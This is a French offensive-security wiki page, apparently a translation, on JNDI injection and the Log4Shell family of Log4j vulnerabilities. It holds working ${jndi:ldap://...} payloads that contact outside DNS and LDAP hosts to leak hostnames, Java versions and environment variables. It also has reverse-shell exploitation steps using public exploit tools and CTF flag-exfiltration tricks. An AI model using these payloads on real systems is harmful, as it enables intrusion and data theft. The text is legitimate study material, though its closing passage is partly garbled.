JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Groupe de sécurité Try Hard
JNDI, intégré dans Java depuis la fin des années 1990, sert de service de répertoire, permettant aux programmes Java de localiser des données ou des objets via un système de nommage. Il prend en charge divers services de répertoire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systèmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, le registre Java RMI et LDAP.
Les objets Java peuvent être stockés et récupérés à l'aide de références de nommage JNDI, qui se présentent sous deux formes :
Adresses de référence : Spécifie l'emplacement d'un objet (par exemple, rmi://serveur/ref), permettant une récupération directe à partir de l'adresse spécifiée.
Usine distante : Référence une classe d'usine distante. Lorsqu'elle est accédée, la classe est téléchargée et instanciée à partir de l'emplacement distant.
Cependant, ce mécanisme peut être exploité, entraînant potentiellement le chargement et l'exécution de code arbitraire. Comme contre-mesure :
RMI : java.rmi.server.useCodeabseOnly = true par défaut à partir de JDK 7u21, restreignant le chargement d'objets distants. Un gestionnaire de sécurité limite davantage ce qui peut être chargé.
LDAP : com.sun.jndi.ldap.object.trustURLCodebase = false par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. Si défini sur true, l'exécution de code à distance est possible sans surveillance d'un gestionnaire de sécurité.
CORBA : N'a pas de propriété spécifique, mais le gestionnaire de sécurité est toujours actif.
Cependant, le Gestionnaire de noms, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
Des exemples d'URL exploitables incluent :
rmi://serveur-attaquant/bar
ldap://serveur-attaquant/bar
iiop://serveur-attaquant/bar
Malgré les protections, des vulnérabilités subsistent, principalement en raison du manque de protections contre le chargement de JNDI à partir de sources non fiables et de la possibilité de contourner les protections existantes.
Même si vous avez défini un PROVIDER_URL, vous pouvez indiquer un autre dans une recherche et y accéder : ctx.lookup("<url-contrôlée-par-l'attaquant>") et c'est ce qu'un attaquant exploitera pour charger des objets arbitraires à partir d'un système contrôlé par lui.
CORBA (Common Object Request Broker Architecture) utilise une Référence d'Objet Interopérable (IOR) pour identifier de manière unique les objets distants. Cette référence inclut des informations essentielles telles que :
ID de type : Identifiant unique pour une interface.
Codebase : URL pour obtenir la classe de stub.
Notamment, CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité implique généralement :
Installation d'un Gestionnaire de sécurité.
Configuration du Gestionnaire de sécurité pour autoriser les connexions à des bases de code potentiellement malveillantes. Cela peut être réalisé via :
Autorisation de socket, par exemple, permissions java.net.SocketPermission "*:1098-1099", "connect";.
Autorisations de lecture de fichiers, soit universellement (permission java.io.FilePermission "<<TOUS LES FICHIERS>>", "read";) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et autoriser ces connexions par défaut.
Pour RMI (Invocation de Méthode à Distance), la situation est quelque peu différente. Comme pour CORBA, le téléchargement de classes arbitraires est restreint par défaut. Pour exploiter RMI, il faudrait généralement contourner le Gestionnaire de sécurité, un exploit également pertinent en CORBA.
Tout d'abord, nous devons distinguer entre une Recherche et un Lookup.
Une recherche utilisera une URL comme ldap://localhost:389/o=JNDITutorial pour trouver l'objet JNDITutorial à partir d'un serveur LDAP et récupérer ses attributs.
Un lookup est destiné aux services de nommage car nous voulons obtenir tout ce qui est lié à un nom.
Si la recherche LDAP a été invoquée avec SearchControls.setReturningObjFlag() avec true, alors l'objet retourné sera reconstruit.
Par conséquent, il existe plusieurs façons d'attaquer ces options. Un attaquant peut empoisonner les enregistrements LDAP en introduisant des charges utiles qui seront exécutées dans les systèmes qui les collectent (très utile pour compromettre des dizaines de machines si vous avez accès au serveur LDAP). Une autre façon d'exploiter cela serait de réaliser une attaque de l'homme du milieu dans une recherche LDAP par exemple.
Dans le cas où vous pouvez faire résoudre une URL LDAP JNDI par une application, vous pouvez contrôler le LDAP qui sera recherché, et vous pourriez renvoyer l'exploit (log4shell).
L'exploit est sérialisé et sera désérialisé.
Dans le cas où trustURLCodebase est true, un attaquant peut fournir ses propres classes dans la base de code, sinon, il devra exploiter des gadgets dans le classpath.
Il est plus facile d'attaquer ce LDAP en utilisant des références JavaFactory :
La vulnérabilité est introduite dans Log4j car il prend en charge une syntaxe spéciale sous la forme ${préfixe:nom} où préfixe est l'un de plusieurs Lookups différents où nom doit être évalué. Par exemple, ${java:version} est la version actuelle de Java en cours d'exécution.
LOG4J2-313 a introduit une fonction de recherche jndi. Cette fonction permet la récupération de variables via JNDI. En général, la clé est automatiquement préfixée par java:comp/env/. Cependant, si la clé elle-même inclut un ":", ce préfixe par défaut n'est pas appliqué.
Avec un : présent dans la clé, comme dans ${jndi:ldap://exemple.com/a}, il n'y a pas de préfixe et le serveur LDAP est interrogé pour l'objet. Et ces Lookups peuvent être utilisés à la fois dans la configuration de Log4j et lors de la journalisation des lignes.
Par conséquent, la seule chose nécessaire pour obtenir une RCE est une version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications accessibles sur Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j n'est pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée et les données indiquées par le développeur.
Cette vulnérabilité est une faille de désérialisation non fiable critique dans le composant log4j-core, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet l'exécution de code à distance (RCE), permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma pour la défense sont disponibles (Règle 1, Règle 2).
Initialement classée comme faible mais ensuite rehaussée au niveau critique, cette CVE est une faille de Déni de Service (DoS) résultant d'une correction incomplète dans la version 2.15.0 pour la CVE-2021-44228. Elle affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS à travers des charges utiles élaborées. Un tweet présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de messages et en désactivant JNDI par défaut.
Affectant les versions Log4j 1.x dans les configurations non par défaut utilisant JMSAppender, cette CVE est une faille de désérialisation non fiable. Aucune correction n'est disponible pour la branche 1.x, qui est en fin de vie, et il est recommandé de passer à log4j-core 2.17.0.
Cette vulnérabilité affecte le cadre de journalisation Logback, successeur de Log4j 1.x. Initialement considéré comme sûr, le cadre s'est révélé vulnérable, et de nouvelles versions (1.3.0-alpha11 et 1.2.9) ont été publiées pour résoudre le problème.
Log4j 2.16.0 contient une faille de DoS, entraînant la publication de log4j 2.17.0 pour corriger la CVE. Plus de détails sont disponibles dans le rapport de BleepingComputer.
Affectant la version 2.17 de log4j, cette CVE nécessite que l'attaquant contrôle le fichier de configuration de log4j. Elle implique une exécution de code arbitraire potentielle via un JDBCAppender configuré. Plus de détails sont disponibles dans le billet de blog Checkmarx.
Cette vulnérabilité est très facile à découvrir si elle n'est pas protégée car elle enverra au moins une requête DNS à l'adresse que vous indiquez dans votre charge utile. Par conséquent, des charges utiles telles que :
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (en utilisant canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (en utilisant interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (en utilisant Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn} (en utilisant dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (en utilisant huntress)
Notez que même si une requête DNS est reçue, cela ne signifie pas que l'application est exploitable (ou même vulnérable), vous devrez essayer de l'exploiter.
N'oubliez pas que pour exploiter la version 2.15, vous devez ajouter la bypass de vérification de localhost : ${jndi:ldap://127.0.0.1#...}
Recherchez les versions vulnérables locales de la bibliothèque avec :
Certains des plateformes mentionnées précédemment vous permettront d'insérer des données variables qui seront enregistrées lorsqu'elles sont demandées. Cela peut être très utile pour 2 choses:
Pour vérifier la vulnérabilité
Pour exfiltrer des informations en abusant de la vulnérabilité
Par exemple, vous pourriez demander quelque chose comme:
ou comme ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} et si une requête DNS est reçue avec la valeur de la variable d'environnement, vous saurez que l'application est vulnérable.
D'autres informations que vous pourriez essayer de fuir:
Les hôtes exécutant des versions JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de com.sun.jndi.ldap.object.trustURLCodebase, qui empêche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont pas protégées contre le vecteur d'attaque de désérialisation.
Pour les attaquants cherchant à exploiter ces versions JDK plus élevées, il est nécessaire d'utiliser un gadget de confiance au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cette fin. En revanche, exploiter des versions JDK inférieures est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
Pour plus d'informations (comme les limitations sur les vecteurs RMI et CORBA) consultez la section de référence précédente sur le nommage JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Vous pouvez tester ceci dans la boîte THM: https://tryhackme.com/room/solar
Utilisez l'outil marshalsec (version jar disponible ici). Cette approche établit un serveur de renvoi LDAP pour rediriger les connexions vers un serveur HTTP secondaire où l'exploit sera hébergé:
Pour inciter la cible à charger un code de shell inversé, créez un fichier Java nommé Exploit.java avec le contenu ci-dessous :
Compilez le fichier Java en un fichier de classe en utilisant : javac Exploit.java -source 8 -target 8. Ensuite, lancez un serveur HTTP dans le répertoire contenant le fichier de classe avec : python3 -m http.server. Assurez-vous que le serveur LDAP marshalsec fait référence à ce serveur HTTP.
Déclenchez l'exécution de la classe d'exploit sur le serveur web vulnérable en envoyant une charge utile ressemblant à :
Remarque : Cette faille repose sur la configuration de Java permettant le chargement à distance du code via LDAP. Si cela n'est pas autorisé, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
De plus, vous ne pouvez pas trouver le code source dans la machine à remonter le temps, donc analysez le code source ou exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
Pour cet exemple, vous pouvez simplement exécuter ce serveur web vulnérable à log4shell sur le port 8080 : https://github.com/christophetd/log4shell-vulnerable-app (dans le README, vous trouverez comment le lancer). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP X-Api-Version.
Ensuite, vous pouvez télécharger le fichier jar JNDIExploit et l'exécuter avec :
Après avoir lu le code pendant seulement quelques minutes, dans com.feihong.ldap.LdapServer et com.feihong.ldap.HTTPServer, vous pouvez voir comment les serveurs LDAP et HTTP sont créés. Le serveur LDAP comprendra quel payload doit être servi et redirigera la victime vers le serveur HTTP, qui servira l'exploit. Dans com.feihong.ldap.gadgets, vous pouvez trouver certains gadgets spécifiques qui peuvent être utilisés pour exécuter l'action souhaitée (potentiellement exécuter du code arbitraire). Et dans com.feihong.ldap.template, vous pouvez voir les différentes classes de modèles qui vont générer les exploits.
Vous pouvez voir tous les exploits disponibles avec java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Certains utiles sont :
Donc, dans notre exemple, nous avons déjà cette application docker vulnérable en cours d'exécution. Pour l'attaquer :
Lors de l'envoi des attaques, vous verrez une sortie dans le terminal où vous avez exécuté JNDIExploit-1.2-SNAPSHOT.jar.
N'oubliez pas de vérifier java -jar JNDIExploit-1.2-SNAPSHOT.jar -u pour d'autres options d'exploitation. De plus, si nécessaire, vous pouvez changer le port des serveurs LDAP et HTTP.
De manière similaire à l'exploit précédent, vous pouvez essayer d'utiliser JNDI-Exploit-Kit pour exploiter cette vulnérabilité. Vous pouvez générer les URL à envoyer à la victime en exécutant :
Cette attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la salle solaire THM. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'elle n'exploite pas une classe de confiance pour exécuter du code arbitraire.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus est un autre outil pour générer des liens JNDI fonctionnels et fournir des services de fond en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.
Cette option est vraiment utile pour attaquer les versions Java configurées pour faire confiance uniquement à des classes spécifiées et non à tout le monde. Par conséquent, ysoserial sera utilisé pour générer des sérialisations de classes de confiance qui peuvent être utilisées comme gadgets pour exécuter du code arbitraire (la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne).
En utilisant ysoserial ou ysoserial-modified, vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI :
Utilisez JNDI-Exploit-Kit pour générer des liens JNDI où l'exploit attendra des connexions des machines vulnérables. Vous pouvez servir différents exploits qui peuvent être générés automatiquement par le JNDI-Exploit-Kit ou même vos propres charges utiles de désérialisation (générées par vous ou ysoserial).
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un shell inversé en l'envoyant à une version vulnérable de log4j : ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Trouver des bibliothèques vulnérables localement
Dans ce writeup CTF, il est bien expliqué comment il est potentiellement possible d'abuser de certaines fonctionnalités de Log4J.
La page de sécurité de Log4j contient des phrases intéressantes :
À partir de la version 2.16.0 (pour Java 8), la fonctionnalité de recherche de messages a été complètement supprimée. Les recherches dans la configuration fonctionnent toujours. De plus, Log4j désactive désormais l'accès à JNDI par défaut. Les recherches JNDI dans la configuration doivent désormais être activées explicitement.
À partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), seules les chaînes de recherche dans la configuration sont étendues de manière récursive ; dans tout autre usage, seule la recherche de niveau supérieur est résolue, et les recherches imbriquées ne sont pas résolues.
Cela signifie qu'en général, vous pouvez oublier l'utilisation de toute exploitation jndi. De plus, pour effectuer des recherches récursives, vous devez les configurer.
Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :
Dans ce CTF, l'attaquant contrôlait la valeur de ${sys:cmd} et devait exfiltrer le drapeau d'une variable d'environnement.
Comme vu sur cette page dans les charges précédentes, il existe différentes façons d'accéder aux variables d'environnement, telles que: ${env:FLAG}. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
Dans le CTF, vous ne pouviez pas accéder au stderr de l'application Java en utilisant log4J, mais les exceptions Log4J sont envoyées vers stdout, qui était imprimé dans l'application Python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le drapeau était: ${java:${env:FLAG}}. Cela fonctionne car ${java:CTF{blahblah}} n'existe pas et une exception avec la valeur du drapeau sera affichée:
Juste pour mentionner, vous pourriez également injecter de nouveaux modèles de conversion et déclencher des exceptions qui seront enregistrées dans stdout. Par exemple:
Cela n'était pas utile pour exfiltrer des données à l'intérieur du message d'erreur, car la recherche n'était pas résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.
Cependant, il est possible d'utiliser certains modèles de conversion qui prennent en charge les regex pour exfiltrer des informations à partir d'une recherche en utilisant des regex et en abusant des comportements de recherche binaire ou basés sur le temps.
Recherche binaire via les messages d'exception
Le modèle de conversion %replace peut être utilisé pour remplacer du contenu dans une chaîne même en utilisant des regex. Cela fonctionne comme ceci: replace{pattern}{regex}{substitution}
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception s'il n'était pas trouvé) comme ceci:
Basé sur le temps
Comme mentionné dans la section précédente, %replace prend en charge les expressions régulières. Il est donc possible d'utiliser une charge utile de la page ReDoS pour provoquer un dépassement de délai en cas de découverte du drapeau.
Par exemple, une charge utile comme %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} déclencherait un dépassement de délai dans ce CTF.
Dans ce writeup, au lieu d'utiliser une attaque ReDoS, une attaque d'amplification a été utilisée pour provoquer une différence de temps dans la réponse :
Si le drapeau commence par
flagGuess, l'ensemble du drapeau est remplacé par 29#(j'ai utilisé ce caractère car il ne fait probablement pas partie du drapeau). Chacun des 29#résultants est ensuite remplacé par 54#. Ce processus est répété 6 fois, ce qui donne un total de29*54*54^6* =`` ``96816014208#!Remplacer autant de
#déclenchera le délai de 10 secondes de l'application Flask, ce qui entraînera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le drapeau ne commence pas parflagGuess, nous recevrons un code d'état non-500)
Try Hard Security Group
